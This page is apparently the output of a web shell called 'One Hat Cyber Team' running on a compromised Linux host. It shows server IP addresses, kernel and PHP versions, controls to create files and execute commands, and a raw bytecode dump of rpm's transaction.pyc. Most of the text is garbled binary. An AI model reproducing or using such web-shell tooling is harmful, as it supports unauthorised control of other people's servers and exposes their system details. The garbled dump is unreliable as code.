⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.127
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.9
/
site-packages
/
rpm
/
__pycache__
/
View File Name :
transaction.cpython-39.pyc
a �������^"����������������������@���s0���d�dl�Z�d�dlZd�dlmZ�G�dd��de�ZdS�)�����N)�tsc�������������������@���s����e�Zd�ZdZdd��Zdd��Zdd��Zdd ��Zd d��Zdd ��Z dd��Z dd��Zdd��Zdd��Z dd��Zdd��Zdd��Zdd��Zd.dd �Zd!d"��Zd#d$��Zd%d&��Zd'd(��Zd)d*��Zd+d,��Zd-S�)/�TransactionSetr���c�����������������C���s���t�|�|�}t|�||��|S��N)�getattr�setattr)�self�attr�valZoval��r ����5/usr/lib64/python3.9/site-packages/rpm/transaction.py�_wrapSetGet ���s���� zTransactionSet._wrapSetGetc�����������������C���s���|���d|�S�)N�_vsflags�r����r����flagsr ���r ���r���� setVSFlags���s����zTransactionSet.setVSFlagsc�����������������C���s���|�j�S�r���)r ����r���r ���r ���r���� getVSFlags���s����zTransactionSet.getVSFlagsc�����������������C���s���|���d|�S�)N� _vfyflagsr���r���r ���r ���r����setVfyFlags���s����zTransactionSet.setVfyFlagsc�����������������C���s���|�j�S�r���)r���r���r ���r ���r����getVfyFlags���s����zTransactionSet.getVfyFlagsc�����������������C���s���|�j�S�r���)� _vfylevelr���r ���r ���r����getVfyLevel���s����zTransactionSet.getVfyLevelc�����������������C���s���|���d|�S�)Nr���r���r���r ���r ���r����setVfyLevel���s����zTransactionSet.setVfyLevelc�����������������C���s���|���d|�S�)NZ_colorr����r���Zcolorr ���r ���r����setColor ���s����zTransactionSet.setColorc�����������������C���s���|���d|�S�)NZ _prefcolorr���r���r ���r ���r����setPrefColor#���s����zTransactionSet.setPrefColorc�����������������C���s���|���d|�S�)NZ_flagsr���r���r ���r ���r����setFlags&���s����zTransactionSet.setFlagsc�����������������C���s���|���d|�S�)N�_probFilterr���)r���Z ignoreSetr ���r ���r���� setProbFilter)���s����zTransactionSet.setProbFilterc�����������������C���s ���t��|�S�r���)�rpm�spec)r���Zspecfiler ���r ���r���� parseSpec,���s����zTransactionSet.parseSpecc�����������������C���s0���g�}|�D�]}|��|�����q|s$d�S�t|�S�d�S�r���)�appendZKey�tuple)r����keys�ter ���r ���r����getKeys/���s����zTransactionSet.getKeysc�����������������C���s^���t�|t�r>t|��}|��|�}W�d�����qZ1�s20����Y��nt�|tj�rP|}n |��|�}|S�r���)� isinstance�str�open�hdrFromFdnor ����hdr)r����item�f�headerr ���r ���r����_f2hdr9���s���� * zTransactionSet._f2hdr�uc�����������������C���sP���|���|�}|dvrtd��|dk}t�|�|||�sL|rBt�d��n t�d��d�S�)N)r1����izhow argument must be "u" or "i"r1���z$adding upgrade to transaction failedz$adding install to transaction failed)r0���� ValueError�TransactionSetCore� addInstallr ����error)r���r-����keyZhowr/���Zupgrader ���r ���r���r5���C���s���� zTransactionSet.addInstallc�����������������C���s&���|���|�}t�|�||�s"t�d��d�S�)Nz&adding reinstall to transaction failed)r0���r4����addReinstallr ���r6���)r���r-���r7���r/���r ���r ���r���r8���P���s���� zTransactionSet.addReinstallc�����������������C���s����g�}t�|tj�r|}nzt�|tj�r.|�|��nbt�|ttf�r�t�|t�rNtj}ntj}|�� ||�D�]}|�|��q`|s�t� d��ntdt|����|D�]}t �|�|�s�t� d��q�d�S�)Nzpackage not installedzinvalid type %sz$adding erasure to transaction failed)r(���r ����mir,���r#����intr)���ZRPMDBI_PACKAGESZRPMDBI_LABELZdbMatchr6���� TypeError�typer4����addErase)r���r-���ZhdrsZdbi�hr ���r ���r���r=���V���s"���� zTransactionSet.addErasec�����������������C���s^���t��|�|||�j�}|dkrd�S�g�}|dkrZ|����D�]&}d|�|j|j|jff}|�|��q2|S�)Nr���z%s)r4����runr����problemsr<����_strZ_numr#���)r����callback�data�rc�resZprobr-���r ���r ���r���r?���o���s����zTransactionSet.runc�����������������O���s��t�j|�g|�R�i�|���g�}|����D�]�}|jtjkr<tj}n|jtjkr$tj}nq$|j � dd�d�}|� dd�\}}} |j���} | d�}tj }t| �dkr�| d�} d| v�r�|tjO�}d| v�r�|tjO�}d | v�r�|tjO�}| d�}nd }|�||| f||f|||jf��q$|S�)N�.����r����-���������<�=�>��)r4����checkr@���r<���r ���ZRPMPROB_CONFLICTZRPMDEP_SENSE_CONFLICTSZRPMPROB_REQUIRESZRPMDEP_SENSE_REQUIRESZaltNEVR�rsplitrA����splitZRPMSENSE_ANY�lenZ RPMSENSE_LESSZRPMSENSE_EQUALZRPMSENSE_GREATERr#���r7���)r����args�kwdsrE����pZsenseZnevr�n�v�rZneedsZneednameZ needflagsZneedopZneedverr ���r ���r���rO������s6���� �zTransactionSet.checkc�����������������C���sT���t��|�|�\}}|tjkr&t�d��n*|tjkr<t�d��n|tjkrPt�|��d�S�)N�public key not available�public key not trusted)r4����hdrCheckr ����RPMRC_NOKEYr6����RPMRC_NOTTRUSTED�RPMRC_OK)r���ZblobrE����msgr ���r ���r���r[�������s���� zTransactionSet.hdrCheckc�����������������C���sT���t��|�|�\}}|tjkr&t�d��n*|tjkr<t�d��n|tjkrPt�d��|S�)NrY���rZ���zerror reading package header)r4���r+���r ���r\���r6���r]���r^���)r����fdrE���r>���r ���r ���r���r+�������s���� zTransactionSet.hdrFromFdnoN)r1���)�__name__� __module__�__qualname__r���r���r���r���r���r���r���r���r���r���r���r���r"���r'���r0���r5���r8���r=���r?���rO���r[���r+���r ���r ���r ���r���r������s,��� ' r���)�sysr ���Zrpm._rpmr���r4���r���r ���r ���r ���r����<module>���s���